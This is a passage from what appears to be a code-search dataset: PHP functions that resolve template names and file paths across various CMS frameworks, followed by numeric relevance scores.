);\r\n }", "public function getTemplateName()\n {\n return $this->templateName;\n }", "public function getReidentifyTemplateName()\n {\n return $this->reidentify_template_name;\n }", "protected function _getTemplateName()\n {\n $tag = $this->getTemplateTag();\n $lang = app()->getLocale();\n $fallbackLang = config('app.fallback_locale');\n\n $name = \"mail_{$tag}_{$lang}\";\n\n if (empty(setting($name))) return \"mail_{$tag}_{$fallbackLang}\";\n\n return $name;\n }", "function portal_get_template_part( $path ) {\n\tinclude( portal_template_hierarchy( $path . '.php' ) );\n}", "public function getTemplateFile();", "function getFileName($path) {\n\t\t$path = ereg_replace('\\/$','',$path);\n\t\t$len = strlen($path);\n\t\t$file = substr($path,strrpos($path,\"/\")+1,$len);\n\t\treturn $file;\n\t}", "private function _get_path($name) {\n return './tpl/'.$name.'.tpl.php';\n }", "abstract public function getTemplateFile();", "protected function getResourceName(string $path) : string\n {\n $validLiterals = [];\n foreach (explode('/', $path) as $segment) {\n if (\n empty($segment)\n || preg_match('/^\\{.*\\}$/', $segment)\n ) {\n continue; //skip any {route-params}\n }\n $validLiterals[] = $segment;\n }\n return implode('/', $validLiterals);\n }", "function locate_template( $template, $template_name, $template_path ){\r\n\r\n\t\tswitch( $template_name ){\r\n\r\n\t\t\tcase 'form-fields/term-checklist-field.php':\r\n\t\t\t\twp_enqueue_script( 'jmfe-term-checklist-field' );\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tdefault:\r\n\t\t\t\tif( file_exists( WPJM_FIELD_EDITOR_PLUGIN_DIR . '/templates/' . $template_name ) ){\r\n\t\t\t\t\t$template = WPJM_FIELD_EDITOR_PLUGIN_DIR . '/templates/' . $template_name;\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\treturn $template;\r\n\t}", "public function getTemplateFromModulePath($templatePath)\n {\n if ($this->isPrestashop16()) {\n return basename($templatePath);\n }\n\n return 'module:adyenofficial/' . ltrim($templatePath, '/');\n }", "function getTemplateString($templateName) {\n if ($templateName) { //fetch template string !DOCUMENT!\n $templateString=$this->cObj->fileResource($templateName);\n $template=$this->cObj->getSubpart($templateString, '###'.strtoupper($this->cObj->data['xtemplate']).'###');\n return $template;\n }\n return '';\n }", "public function template_path() {\n return apply_filters( 'mapti_template_path', 'myarcade/' );\n }", "public function get_utemplate_name() {\n $fs = get_file_storage();\n $xmlfile = $fs->get_file_by_id($this->utemplateid);\n\n return $xmlfile->get_filename();\n }", "private function getTemplate(): string\n {\n $sTemplate = $this->getViewPath() . static::TEMPLATE . static::TEMPLATE_EXT;\n if (!is_file($sTemplate)) {\n $sTemplate = $this->getViewRootDirectory();\n $sTemplate .= $this->getCurrentClassName() . DIRECTORY_SEPARATOR;\n $sTemplate .= static::TEMPLATE . static::TEMPLATE_EXT;\n if (!is_file($sTemplate)) {\n $sTemplate = $this->getViewRootDirectory();\n $sTemplate .= static::TEMPLATE . static::TEMPLATE_EXT;\n }\n }\n\n return $sTemplate;\n }", "function getTemplateFullPath( $basename ) {\n if ( ! is_string( $basename ) ) {\n return '';\n }\n foreach ( $this->getDirectories() as $directory ) {\n if ( ! is_string( $directory ) ) {\n continue;\n }\n $path = trailingslashit( $directory ) . $basename;\n if ( is_file( $path ) ) {\n return $path;\n }\n }\n\n return '';\n }", "protected function resolveViewTemplateName(): string\n {\n $controllerName = ltrim($this->request->getControllerName(), '\\\\');\n $namespaceParts = explode('\\\\', $controllerName);\n $controllerClassName = array_pop($namespaceParts);\n\n // Get rid of module name\n array_shift($namespaceParts);\n\n if (strtolower($namespaceParts[0]) == 'mvc') {\n array_shift($namespaceParts);\n }\n\n if (strtolower($namespaceParts[0]) == 'controller') {\n array_shift($namespaceParts);\n }\n\n $controllerClassName = str_replace('Controller', '', $controllerClassName);\n\n return\n $this->getTemplateDir() . implode(DIRECTORY_SEPARATOR, [\n '',\n 'Templates',\n implode('\\\\', $namespaceParts),\n ucfirst($controllerClassName),\n ucfirst($this->request->getControllerActionName())\n ]) . '.phtml';\n }", "protected function getTemplatePath(): string\n {\n return str_replace(\n $this->app->basePath() . DIRECTORY_SEPARATOR,\n '',\n $this->app['config']['view.path']\n );\n }", "public function template_path() {\n return apply_filters( 'iwj_template_path', 'iwj/' );\n }", "function getTemplate( $atpl ) {\n\t$file_name = \"php/template/{$atpl}.php\";\n\tif (!file_exists($file_name)) return \"TEMPLATE: {$atpl}.{$lang} not found\";\n\treturn join(\"\", file($file_name));\n}", "function templates_path()\n {\n $paths = getPaths();\n\n return $paths['templates'];\n }", "public function getTemplateFilePath() {\n\t}", "protected function _getTplName()\n {\n // assign template name\n $sTplName = oxRegistry::getConfig()->getRequestParameter('tpl');\n\n if ($sTplName) {\n // security fix so that you cant access files from outside template dir\n $sTplName = basename($sTplName);\n\n //checking if it is template name, not content id\n if (!getStr()->preg_match(\"/\\.tpl$/\", $sTplName)) {\n $sTplName = null;\n } else {\n $sTplName = 'message/' . $sTplName;\n }\n }\n\n return $sTplName;\n }", "public function template_path() {\r\n\t\t\treturn apply_filters( 'rv_portfolio_template_path', 'rv-portfolio/' );\r\n\t\t}", "public function getFullName(){\n\t\treturn $this->templateSet->getFullName() . '/' . $this->name . $this->suffix;\n\t}", "public function name(string $path): string\n {\n return pathinfo($path, PATHINFO_FILENAME);\n }", "private function getClassNameFromPath( $path )\n {\n return basename( $path, '.phtml' );\n }", "public function fullPath(){\n if ( strpos( $this->template, DIRECTORY_SEPARATOR ) === 0 ) {\n return $this->template . '.php';\n } else {\n return $this->path . DIRECTORY_SEPARATOR . $this->template . '.php';\n }\n }", "public function getTemplate(string $template, string $fileType = 'php'): string {\n\n\t\t$template = str_replace('%{TEMPLATE}', $template, self::TEMPLATE_PATH);\n\n\t\t// .template.php\n\t\t$templateRegular = str_replace('%{FILETYPE}', $fileType, $template);\n\n\t\tif (is_file($templateRegular))\n\t\t\treturn $templateRegular;\n\n\t\t// .template.inc.php\n\t\t$template = str_replace('%{FILETYPE}', 'inc.' . $fileType, $template);\n\n\t\treturn $template;\n\t}", "protected function ucFileNameInPath($templatePath)\n {\n if (strpos($templatePath, '/') > 0) {\n $pathParts = explode('/', $templatePath);\n $index = count($pathParts) - 1;\n $pathParts[$index] = ucfirst($pathParts[$index]);\n\n $upperCasedTemplateName = implode('/', $pathParts);\n } else {\n $upperCasedTemplateName = ucfirst($templatePath);\n }\n return $upperCasedTemplateName;\n }", "protected function siteNameFromPath($path)\n {\n return $this->basenameWithoutExtension($path, '.alias.yml');\n }", "protected function getTemplateFilename() {\n if (isset($this->extra['template-file'])) {\n return $this->extra['template-file'];\n }\n return 'settings.local.php.twig';\n }", "public function name(string $path) : string\n {\n $arr = explode('/', $path);\n return $arr[count($arr) - 1];\n }", "function get_template_name($instance) {\n return 'template';\n }", "public function getTemplateName()\n {\n return isset($this->TemplateName) ? $this->TemplateName : null;\n }", "public function loadTemplate($path);", "function admin_template(string $path): string\n {\n return Admin::app()->template($path);\n }", "function path_tmp ($path) {\r\n\treturn PATH_THEME.$path.'.tpl';\r\n}", "public function load(string $templateName): string;", "function show_template($template) {\n\treturn templates . '/' . $template . '.php';\n}", "function jam3_cookie_get_template_path( $slug, $template_name ) {\n\n\t//vars\n\t$path = JAM3_COOKIE_PLUGIN_BASE_DIR . '/template-parts';\n\n\t$slug = esc_attr( $slug );\n\t$template_name = esc_attr( $template_name );\n\n\t//Setup template filenames/paths\n\t$plugin_template_file_path = \"{$path}/{$slug}-{$template_name}.php\";\n\t$theme_template_filename = \"/jam3-cookie-banner/{$slug}-{$template_name}.php\";\n\n\t//First try and get theme override template\n\t$theme_template_file_path = locate_template( array( $theme_template_filename ) );\n\n\tif ( '' !== $theme_template_file_path ) {\n\n\t\t$path = $theme_template_file_path;\n\n\t} else { //Fallback to plugin's version of template\n\n\t\t$path = $plugin_template_file_path;\n\n\t}\n\n\t//Check if a valid path for include\n\tif ( validate_file( $path ) > 0 ) {\n\n\t\t//Failed path validation\n\t\treturn new WP_Error(\n\t\t\t'jam3_cookie_include_file',\n\t\t\t'File include path failed path validation',\n\t\t\t$path\n\t\t);\n\n\t}\n\n\treturn $path;\n}", "function get_tpl_filename($tpl_name)\n\t{\n\t $parts = preg_split('/\\//', $tpl_name);\n $site_core_view = SITE_CORE_VIEW;\n $site_core_view_fake = EkvCommonHelper::getSiteCoreViewFake();\n /**\n * sometimes it's required to process frontend tpls from backend environment so we need to make fake core\n * to make proper path for including\n */\n if(is_null($site_core_view_fake) == false){\n $site_core_view = $site_core_view_fake;\n }\n\n $use_theme = EkvCommonHelper::getUseTplTheme();\n\n $_templates_path = \"\";\n //#------------------- no theme or backend view -> use common usual templates -------------------#//\n if($use_theme == false || $site_core_view == SITE_BACKEND){\n $_templates_path = PATH_TEMPLATES . DIRECTORY_SEPARATOR . $site_core_view;\n }\n //#------------------- use_theme = true and view = frontend -> use old theme -------------------#//\n else if($use_theme && $site_core_view == SITE_FRONTEND){\n $_templates_path = PATH_TEMPLATES . DIR_SEP . 'theme_old';\n }\n// $_templates_path = PATH_TEMPLATES . DIRECTORY_SEPARATOR . $site_core_view;\n \n\t $_tpl_filename = '';\n\t if(1 == count($parts))\n\t {\n\t \tif(file_exists($_templates_path . DIRECTORY_SEPARATOR . 'common' . DIRECTORY_SEPARATOR . $tpl_name))\n\t \t{\n\t \t\t$_tpl_filename = $_templates_path . DIRECTORY_SEPARATOR . 'common' . DIRECTORY_SEPARATOR . $tpl_name;\n\t \t}\n\t }\n\t elseif(3 == count($parts))\n\t {\n\t \t$_module = $parts[0];\n\t \t$_entity = $parts[1];\n\t \t$_tpl = $parts[2];\n\n\t\t\t$_tpl_filename = $_templates_path . DIRECTORY_SEPARATOR . $_module . DIRECTORY_SEPARATOR . $_entity . DIRECTORY_SEPARATOR . $_tpl;\n\t \tif(!file_exists($_tpl_filename))\n\t \t{\n\t \t\t$_tpl_filename = '';\n\t \t}\n\t }\n\t elseif(count($parts) > 3)\n\t {\n\t \t$_module = $parts[0];\n\t \t$_entity = $parts[1];\n\t \t$_tpl = $parts[2].DIRECTORY_SEPARATOR.$parts[3];\n\n\t\t\t$_tpl_filename = $_templates_path . DIRECTORY_SEPARATOR . $_module . DIRECTORY_SEPARATOR . $_entity . DIRECTORY_SEPARATOR . $_tpl;\n\t \tif(!file_exists($_tpl_filename))\n\t \t{\n\t \t\t$_tpl_filename = '';\n\t \t}\n\t }\n \treturn $_tpl_filename;\n\t}", "private function normalizeTemplateName($templateName)\n {\n if (strripos($templateName, '.twig')) {\n return $templateName;\n }\n $phppos = strripos($templateName, '.php');\n if ($phppos) {\n $templateName = substr($templateName, 0, $phppos);\n }\n $tplpos = strripos($templateName, '.tpl');\n if ($tplpos) {\n $templateName = substr($templateName, 0, $tplpos);\n }\n return $templateName.'.twig';\n }", "protected function getPlatesPath($template) {\n\n $stylesheetDir = trailingslashit(get_stylesheet_directory());\n\n $template = str_replace($stylesheetDir, \"\", $template);\n\n $parts = explode(\".\", $template);\n\n return current($parts);\n }", "public function test_invalid_component_get_template_filepath() {\n mustache_template_finder::get_template_filepath('core/octopus', 'classic');\n }", "public function getTemplate($name){\n if(isset($name)){\n return $this->template[$name]; // $this->envir->loadTemplate($template)\n }\n return $this->template[$this->templace_interator++]; // $this->envir->loadTemplate($template)\n }", "protected function getTplSubpath() {\n\t\treturn tx_imagemapwizard_model_typo3env::getExtBackPath('imagemap_wizard') . 'templates/';\n\t}", "function get_template_path($template)\n {\n\t\t// the current module\n $pnmodgetname = pnModGetName();\n\n // get the module path to templates\n $module = $this->module;\n $modinfo = pnModGetInfo(pnModGetIDFromName($module));\n\n // get the theme path to templates\n $theme = pnUserGetTheme();\n\n // prepare the values for OS\n $os_pnmodgetname = pnVarPrepForOS($pnmodgetname);\n $os_module = pnVarPrepForOS($module);\n $os_modpath = pnVarPrepForOS($modinfo['directory']);\n $os_theme = pnVarPrepForOS($theme);\n\n // Define the locations in which we will look for templates\n // (in this order)\n\t\t// Note: Paths 1, 3, 5 - This allows for the hook or block functions\n // (such as ratings and comments) to use different templates depending\n // on the top level module. e.g. the comments dialog can be different\n // for news and polls...\n // They are only evaluated when the calling module is not the current one.\n //\n\t\t// 1. The top level module directory in the requested module folder\n\t\t// in the theme directory.\n\t\t$themehookpath = \"themes/$theme/templates/modules/$module/$pnmodgetname\";\n\t\t// 2. The module directory in the current theme.\n $themepath = \"themes/$theme/templates/modules/$module\";\n\t\t// 3. The top level module directory in the requested module folder\n\t\t// in the modules sub folder.\n\t\t$modhookpath = \"modules/$modinfo[directory]/pntemplates/$pnmodgetname\";\n\t\t// 4. The module directory in the modules sub folder.\n $modpath = \"modules/$modinfo[directory]/pntemplates\";\n\t\t// 5. The top level module directory in the requested module folder\n\t\t// in the system sub folder.\n $syshookpath = \"system/$modinfo[directory]/pntemplates/$pnmodgetname\";\n\t\t// 6. The module directory in the system sub folder.\n $syspath = \"system/$modinfo[directory]/pntemplates\";\n\n $ostemplate = pnVarPrepForOS($template); //.'.htm';\n\n // check the module for which we're looking for a template is the\n\t\t// same as the top level mods. This limits the places to look for\n\t\t// templates.\n\t\tif ($module == $pnmodgetname) {\n $search_path = array($themepath,\n $modpath,\n $syspath);\n\t\t} else {\n $search_path = array($themehookpath,\n $themepath,\n $modhookpath,\n $modpath,\n $syshookpath,\n $syspath);\n\t\t}\n\n\t foreach ($search_path as $path) {\n if (file_exists(\"$path/$ostemplate\") && is_readable(\"$path/$ostemplate\")) {\n\t \t return $path;\n \t\t}\n }\n\n // when we arrive here, no path was found\n return false;\n }", "function getFilename($path) {\r\n\t$splitPath = spliti('[/\\]', $path);\r\n\t\r\n\treturn $splitPath[count($splitPath)-1]; // return the filename only\r\n}", "protected\n function getTemplate($template, $name)\n {\n $this->template = $this->file->get($template);\n\n if ($this->needsScaffolding($template)) {\n return $this->replaceStandardParams($this->getScaffoldedTemplate($name));\n }\n\n // Otherwise, just set the file\n // contents to the file name\n return $this->replaceStandardParams($name);\n }", "protected function getTemplatePath($templateName = '') {\n\t\tif ($templateName) {\n\t\t\t$parts = explode('.', $templateName);\n\t\t\t$templateNameShort = $parts['0'];\n\t\t}\n\t\t\n\t\tif ($this->reverse === true) {\n\t\t\t$sql = \"SELECT\t\tpackage.packageDir, template.templateName\n\t\t\t\tFROM\t\twcf\".WCF_N.\"_\".$this->type.\"template template\n\t\t\t\tLEFT JOIN\twcf\".WCF_N.\"_package package\n\t\t\t\t\t\tON (template.packageID = package.packageID)\n\t\t\t\tWHERE\t\ttemplate.templateID = \".$this->templateID;\n\t\t} elseif ($this->rePatch === true) {\n\t\t\t$sql = \"SELECT\t\tpackage.packageDir, template.templateName\n\t\t\t\tFROM\t\twcf\".WCF_N.\"_\".$this->type.\"template template\n\t\t\t\tLEFT JOIN\twcf\".WCF_N.\"_package package\n\t\t\t\t\t\tON (template.packageID = package.packageID)\n\t\t\t\tWHERE\t\ttemplate.templateID = \".$this->templateID.\"\n\t\t\t\t\t\tAND template.packageID = \".$this->packageID;\n\t\t} else {\n\t\t\t$sql = \"SELECT\t\ttemplate.packageID\n\t\t\t\tFROM\t\twcf\".WCF_N.\"_\".$this->type.\"template template\n\t\t\t\tLEFT JOIN\twcf\".WCF_N.\"_package_dependency dependency\n\t\t\t\tON\t\tdependency.dependency = template.packageID\n\t\t\t\tWHERE\t\tdependency.packageID = \".$this->packageID.\"\n\t\t\t\t\t\tAND template.templateName = '\".escapeString($templateNameShort).\"'\n\t\t\t\tORDER BY\ttemplate.packageID DESC\";\n\t\t\t$result = WCF::getDB()->getFirstRow($sql);\n\t\t\t\n\t\t\tif ($result) {\n\t\t\t\t$sql = \"SELECT\t\tpackage.packageDir, template.templateID\n\t\t\t\t\tFROM\t\twcf\".WCF_N.\"_\".$this->type.\"template template\n\t\t\t\t\tLEFT JOIN\twcf\".WCF_N.\"_package package\n\t\t\t\t\t\t\tON (template.packageID = package.packageID)\n\t\t\t\t\tWHERE\t\ttemplate.templateName = '\".escapeString($templateNameShort).\"'\n\t\t\t\t\t\t\tAND template.packageID = \".$result['packageID'].\"\n\t\t\t\t\tORDER BY\ttemplate.templateID DESC\";\n\t\t\t} else return null;\n\t\t}\n\t\t$result = WCF::getDB()->getFirstRow($sql);\n\t\tif ($result) {\n\t\t\tif ($this->rePatch === false && $this->reverse === false) {\n\t\t\t\t$this->patch[$this->patchNo]['templateID'] = $result['templateID'];\n\t\t\t} else {\n\t\t\t\t$templateName = $result['templateName'].'.tpl';\n\t\t\t}\n\t\t\tif ($this->type ? $sub = 'acp/' : $sub = '');\n\t\t\treturn WCF_DIR.$result['packageDir'].$sub.'templates/'.$templateName;\n\t\t}\n\t}", "function get_template_name( $instance ) {\n\t\t\treturn isset($instance['template']) ? $instance['template'] : 'base';\n\t\t}", "public function getTemplatePath()\n {\n return WP::applyFilters('wpmvc_template_path', $this->templatePath);\n }", "public function template_path() {\n\t\t\treturn apply_filters( 'wd_template_path', 'wolf-discography/' );\n\t\t}", "function _strip_template_file_suffix($template_file)\n {\n }", "protected function getTemplatePath()\n {\n return $this->getPathByOptionOrConfig('templatePath', 'migration_template_path');\n }", "function carton_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {\n\tglobal $carton;\n\n\tif ( $args && is_array($args) )\n\t\textract( $args );\n\n\t$located = carton_locate_template( $template_name, $template_path, $default_path );\n\n\tdo_action( 'carton_before_template_part', $template_name, $template_path, $located );\n\n\tinclude( $located );\n\n\tdo_action( 'carton_after_template_part', $template_name, $template_path, $located );\n}", "function rf_locate_template( $template_name, $template_path = '', $default_path = '' )\n{\n if ( ! $template_path ) {\n $template_path = RFFramework()->template_path();\n }\n\n if ( ! $default_path ) {\n $default_path = RFFramework()->path();\n }\n\n // Locate the template within the template structure\n $template = locate_template(\n array(\n trailingslashit( $template_path ) . $template_name\n )\n );\n\n if ( ! $template ) {\n $template = trailingslashit( $default_path ) . $template_name;\n }\n return $template;\n}", "public function getTemplatePath()\r\n\t{\r\n\t\treturn $this->templatePath;\r\n\t}", "public function getTemplateSlug(): string;", "public function getTemplatePath()\n {\n return $this->document->documentURI;\n }", "function ct_get_template_hierarchy( $template ) {\n \n // Get the template slug\n $template_slug = rtrim( $template, '.php' );//single\n $template = $template_slug . '.php'; //single.php\n\n //logit($template,'$template: ');\n //logit($template_slug,'$template_slug: ');\n\n //$locate = locate_template( array( 'plugin_templates/single.php' ) );\n //$locateString = 'plugin_template/' . $template;\n //logit($locateString,'$locateString: ');\n //logit($locate,'$locate: ');\n \n // Check if a custom template exists in the theme folder, if not, load the plugin template file\n if ( $theme_file = locate_template( array( 'cals_teams_templates/' . $template ) ) ) {\n $file = $theme_file;\n logit($file,'$file: ');\n\n }\n else {\n $file = CT_PLUGIN_BASE_DIR . '/includes/templates/' . $template;\n }\n \n //return apply_filters( 'rc_repl_template_' . $template, $file );\n return $file;\n}", "public function getTemplatePath()\n {\n return $this->getSettingArray()[\"template_path\"];\n }", "public function getTemplateName()\n {\n return $this->_sThisTemplate;\n }", "private function locate_template( $name ) {\n\t\t$file = plugin_dir_path( $this->plugin->file ) . 'templates/' . $name . '.php';\n\n\t\tif ( is_readable( $file ) ) {\n\t\t\treturn $file;\n\t\t}\n\t}", "public function buildFileName()\n {\n $twig = $this->container->get('twig');\n $globals = $twig->getGlobals();\n return $globals['fullName'].'-Resume.';\n }", "private function findTemplatePath($template, $throw_exception = true)\n {\n assert('is_string($template)');\n\n list($templateModule, $templateName) = $this->findModuleAndTemplateName($template);\n $templateModule = ($templateModule !== null) ? $templateModule : 'default';\n\n // first check the current theme\n if ($this->theme['module'] !== null) {\n // .../module/<themeModule>/themes/<themeName>/<templateModule>/<templateName>\n\n $filename = \\SimpleSAML\\Module::getModuleDir($this->theme['module']).\n '/themes/'.$this->theme['name'].'/'.$templateModule.'/'.$templateName;\n } elseif ($templateModule !== 'default') {\n // .../module/<templateModule>/templates/<templateName>\n $filename = \\SimpleSAML\\Module::getModuleDir($templateModule).'/templates/'.$templateName;\n } else {\n // .../templates/<theme>/<templateName>\n $filename = $this->configuration->getPathValue('templatedir', 'templates/').$templateName;\n }\n\n if (file_exists($filename)) {\n return $filename;\n }\n\n // not found in current theme\n \\SimpleSAML\\Logger::debug(\n $_SERVER['PHP_SELF'].' - Template: Could not find template file ['.$template.'] at ['.\n $filename.'] - now trying the base template'\n );\n\n // try default theme\n if ($templateModule !== 'default') {\n // .../module/<templateModule>/templates/<templateName>\n $filename = \\SimpleSAML\\Module::getModuleDir($templateModule).'/templates/'.$templateName;\n } else {\n // .../templates/<templateName>\n $filename = $this->configuration->getPathValue('templatedir', 'templates/').'/'.$templateName;\n }\n\n if (file_exists($filename)) {\n return $filename;\n }\n\n // not found in default template\n if ($throw_exception) {\n // log error and throw exception\n $error = 'Template: Could not find template file ['.$template.'] at ['.$filename.']';\n \\SimpleSAML\\Logger::critical($_SERVER['PHP_SELF'].' - '.$error);\n\n throw new Exception($error);\n } else {\n // missing template expected, return NULL\n return null;\n }\n }", "function getTemplate($param){\r\n global $modx;\r\n\r\n $template = '';\r\n\r\n if ($modx->getChunk($param) != '') {\r\n $template = $modx->getChunk($param);\r\n } else if(substr($param, 0, 6) == '@FILE:') {\r\n $template = $this->get_file_contents(substr($param, 6));\r\n } else if(substr($param, 0, 6) == '@CODE:') {\r\n $template = substr($param, 6);\r\n } else if(substr($param, 0, 5) == '@FILE') {\r\n $template = $this->get_file_contents(trim(substr($param, 5)));\r\n } else if(substr($param, 0, 5) == '@CODE') {\r\n $template = trim(substr($param, 5));\r\n } else {\r\n $template = '';\r\n }\r\n\r\n return $template;\r\n }", "function ffd_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {\r\n\tif ( ! empty( $args ) && is_array( $args ) ) {\r\n\t\textract( $args ); // @codingStandardsIgnoreLine\r\n\t}\r\n\r\n\t$located = ffd_locate_template( $template_name, $template_path, $default_path );\r\n\r\n\tif ( ! file_exists( $located ) ) {\r\n\t\t/* translators: %s template */\r\n\t\treturn;\r\n\t}\r\n\r\n\t// Allow 3rd party plugin filter template file from their plugin.\r\n\t$located = apply_filters( 'ffd_get_template', $located, $template_name, $args, $template_path, $default_path );\r\n\r\n\tdo_action( 'ffd_before_template_part', $template_name, $template_path, $located, $args );\r\n\r\n\tinclude $located;\r\n\r\n\tdo_action( 'ffd_after_template_part', $template_name, $template_path, $located, $args );\r\n}", "protected function resolveTypoScriptPath($path) {\n\t\t$pathExploded = explode('.', trim($path));\n\t\t$depth = count($pathExploded);\n\t\t$pathBranch = $GLOBALS['TSFE']->tmpl->setup;\n\t\t$value = '';\n\n\t\tfor($i = 0; $i < $depth; $i++) {\n\t\t\tif ($i < ($depth -1 )) {\n\t\t\t\t$pathBranch = $pathBranch[$pathExploded[$i] . '.'];\n\t\t\t} elseif(empty($pathExploded[$i])) {\n\t\t\t\t\t// It ends with a dot. We return the rest of the array\n\t\t\t\t$value = $pathBranch;\n\t\t\t} else {\n\t\t\t\t\t// It endes without a dot. We return the value.\n\t\t\t\t$value = $pathBranch[$pathExploded[$i]];\n\t\t\t}\n\t\t}\n\n\t\treturn $value;\n\t}", "public function name() {\n\t\t// @version 1.2.0 Use filename then fallback to path\n\t\t$path = $this->data('name') ?: $this->path();\n\n\t\treturn pathinfo($path, PATHINFO_FILENAME);\n\t}", "protected function templatePath($path, array $vars = array())\n {\n if (strpos($path, '{') !== false) {\n extract($vars, \\EXTR_SKIP);\n preg_match_all('@\\{\\$([A-Za-z0-9_]*)\\}@i', $path, $matches);\n if (!empty($matches[1])) {\n foreach ($matches[1] as $var) {\n $path = str_replace('{$' . $var . '}', $$var, $path);\n }\n }\n }\n\n return $path;\n }", "public function template($var = null): string\n {\n return $this->loadHeaderProperty(\n 'template',\n $var,\n function ($value) {\n return trim($value ?? (($this->isModule() ? 'modular/' : '') . str_replace($this->extension(), '', $this->name())));\n }\n );\n }" ]
[ "0.7411532", "0.7246868", "0.70337623", "0.7009008", "0.6952473", "0.6947432", "0.666656", "0.6654481", "0.6652833", "0.6652605", "0.66523594", "0.6597553", "0.6573195", "0.6521876", "0.64808124", "0.6479415", "0.6468286", "0.6422076", "0.640294", "0.63672376", "0.6343052", "0.6343052", "0.6331096", "0.6330762", "0.63205487", "0.6318186", "0.63033915", "0.62985283", "0.6294041", "0.6274834", "0.6270192", "0.62697065", "0.62667775", "0.62411743", "0.623379", "0.6221674", "0.6192855", "0.61813664", "0.61732405", "0.6171838", "0.61711544", "0.61665434", "0.61394715", "0.61197233", "0.6103892", "0.60967374", "0.60867655", "0.60841", "0.6079994", "0.6070514", "0.60688776", "0.6047787", "0.6039003", "0.6017596", "0.5996416", "0.59937304", "0.5991961", "0.5990767", "0.59830046", "0.59804946", "0.5977958", "0.5977745", "0.59688735", "0.5962686", "0.595467", "0.5942387", "0.59367865", "0.59347767", "0.5931915", "0.59275943", "0.59206027", "0.5903348", "0.58945835", "0.5876379", "0.58592314", "0.58498704", "0.58420706", "0.5836127", "0.5829796", "0.58276075", "0.5820747", "0.5818594", "0.58138734", "0.579985", "0.578189", "0.5772865", "0.57677656", "0.5765431", "0.5764715", "0.57645464", "0.5761982", "0.5761055", "0.57485783", "0.5736461", "0.57233584", "0.5716485", "0.5708581", "0.56958157", "0.56793284", "0.567867" ]
0.6751171
6
Generates a full path+filename for the given filename, which can either be an absolute name, or a name relative to the rootdir for this Template object.
function make_filename($filename, $xs_include = false) { // Check replacements list if(isset($this->replace[$filename])) { if(!$xs_include) { $filename = $this->replace[$filename]; if($filename === false) { return false; } } elseif($this->replace[$filename] === false) { return false; } } // Check if it's an absolute or relative path. if ((substr($filename, 0, 1) !== '/') && (substr($filename, 1, 1) !== ':')) { return $this->root . '/' . $filename; } else { return str_replace('\\', '/', $filename); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function generatePath($filename);", "function make_filename($filename)\n\t{\n\t\tif (substr($filename, 0, 1) != '/')\n\t\t{\n// \t\t$filename = phpbb_realpath($this->root . '/' . $filename);\n \t\t$filename = $this->root . '/' . $filename;\n\t\t}\n\n\t\tif (!file_exists($filename))\n\t\t{\n\t\t\tdie(\"Template->make_filename(): Error - file $filename does not exist\");\n\t\t}\n\n\t\treturn $filename;\n\t}", "function getTemplateFullPath( $basename ) {\n if ( ! is_string( $basename ) ) {\n return '';\n }\n foreach ( $this->getDirectories() as $directory ) {\n if ( ! is_string( $directory ) ) {\n continue;\n }\n $path = trailingslashit( $directory ) . $basename;\n if ( is_file( $path ) ) {\n return $path;\n }\n }\n\n return '';\n }", "protected function generateFilesFromFilename()\n {\n $this->log(sprintf('%s', __METHOD__), 'debug');\n\n return ROOT . DS . Security::hash($this->filesToString(), 'md5') . '.txt';\n }", "public function fullPath(){\n if ( strpos( $this->template, DIRECTORY_SEPARATOR ) === 0 ) {\n return $this->template . '.php';\n } else {\n return $this->path . DIRECTORY_SEPARATOR . $this->template . '.php';\n }\n }", "public function makePath(string $filename)\n : string\n {\n $path = (new Carbon)->format('Y/m/d');\n $ext = pathinfo($filename, PATHINFO_EXTENSION);\n\n return sprintf('%s/%s%s', $path, Str::random(64), $ext ? '.'.$ext : '');\n }", "public function getAbsolutePath ($filename)\n {\n $filename = str_replace('/../', '/', $filename); // TODO improve\n return $this->getHelpRootDir ().$filename.'.mkd';\n }", "private function genereteFilename(){\n return strtolower(md5(uniqid($this->document->baseName)) . '.' . $this->document->extension);\n }", "function make_filename_cache($file)\n\t{\n\t\t$str = str_replace($this->cache_search, $this->cache_replace, $file);\n\t\tif(substr($file, 0, $this->tpldir_len) !== $this->tpldir || empty($this->tpl))\n\t\t{\n\t\t\treturn $this->cachedir . XS_TPL_PREFIX2 . $str;\n\t\t}\n\t\t// removing not needed part\n\t\t$file = substr($file, $this->tpldir_len, strlen($file));\n\t\t// creating filename\n\t\treturn $this->cachedir . XS_TPL_PREFIX . str_replace($this->cache_search, $this->cache_replace, $file);\n\t}", "private function pathFilename() {\n return $this->directory . \"/\" . $this->formatFilename();\n }", "public function generatePath($fileName = ''): string\n {\n $path = 'uploads/' .\n date('Y') . '/' .\n date('m') . '/' .\n date('d');\n\n if ($fileName) {\n $path .= '/' . $fileName;\n }\n\n return $path;\n }", "protected function getTemplatePathAndFilename() {}", "public function generateFilename()\n {\n $filename = str_replace(\" \", \"_\", strtolower($this->getOriginalName()));\n\n if(!file_exists(\"http://\".$_SERVER['HTTP_HOST'].\"/uploads/docs/\".$filename))\n {\n return $filename;\n }\n else\n {\n $extension = $this->getExtension($this->getOriginalExtension());\n $filename = str_replace($extension, '', $filename) . '_';\n\n $i = 2;\n\n while(true)\n {\n if(file_exists($this->getPath().$filename.$i.$extension))\n {\n $i++;\n continue;\n }\n break;\n }\n\n return $filename.$i.$extension;\n }\n }", "protected function makeFilename()\n {\n return getcwd().'/bolt_'.md5(time().uniqid()).'.zip';\n }", "protected function getRelativePath($filename) {\n\t\treturn str_replace('EXT:', t3lib_extMgm::siteRelPath('supersized'), $filename);\n\t}", "public function getOutputPath(string $filename)\n {\n if ($this->outputPath) {\n // hash to make sure the file does not collide with a file with the same name\n return $this->outputPath . \"/\"\n . sha1($filename)\n . sha1_file($filename)\n . $this->generator->getOutputExtension();\n }\n return \\dirname($filename) . \"/\" . $this->getOutputFileName(\\basename($filename));\n }", "public function generateFileName() {\n $this->filename = ($this->getName(TRUE, TRUE, TRUE, \".\").\".xml\");\n\n return $this->filename;\n }", "public function templatePath($fileName)\n {\n if ($this->document instanceof DifferentTemplateLocation) {\n $location = $this->document->templateLocation();\n\n return $this->absolutPathForDifferentLocation($location, $fileName);\n }\n\n return self::absolutePath(\n config('pdf.templates.disk', 'local'),\n config('pdf.templates.path', ''),\n $fileName\n );\n }", "public function getTemplatePathAndFilename() {}", "private function 